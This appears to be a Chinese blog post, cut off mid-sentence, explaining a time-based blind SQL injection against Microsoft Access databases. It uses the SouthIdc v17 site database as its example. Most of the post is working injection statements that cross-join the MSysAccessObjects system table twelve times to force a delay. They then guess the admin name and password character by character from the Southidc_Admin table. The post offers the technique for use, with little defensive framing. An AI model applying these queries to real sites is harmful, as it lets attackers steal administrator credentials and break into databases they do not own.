Acce、ss数据库基于时间sql盲注的实现记录

 　　Access是微软把数据库引擎的图形用户界面和php?/%C8%ED%BC%FE%BF%AA%B7%A2%B9%A4' target='_blank'>软件开发工具结合在一起的一个数据库管理系统。本文我们来看看Access数据库基于时间sql盲注的实现记录。

　　概述

　　众所周知，access数据库是不支持基于时间的盲注方式，但是我们可以利用access的系统表MSysAccessObjects，通过多负荷查询(Heavy Queries)的方式实现。

　　初步探究

　　我们以SouthIdcv17数据库为例

　　执行 select * from Southidc_About ，返回结果如下图。

　　如何实现time base injection 呢?我们就要利用这条语句

　　SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

　　MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12

　　具体实现方式如下：

　　select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

　　MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

　　Southidc_Admin)=97

　　我们可以执行一次，观察效果。

　　很明显，经历了大约40s才返回结果

　　当我们执行如下语句时,也就是把最后的97改为96

　　select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

　　MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

　　Southidc_Admin)=96

　　很快就执行完毕，没有延时。

　　很明显，我们通过where条件后的

　　(SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

　　MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0

　　实现了延时，但需要注意的是这里where后的条件是有顺序的，实现延时的语句必须在

　　1(select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=97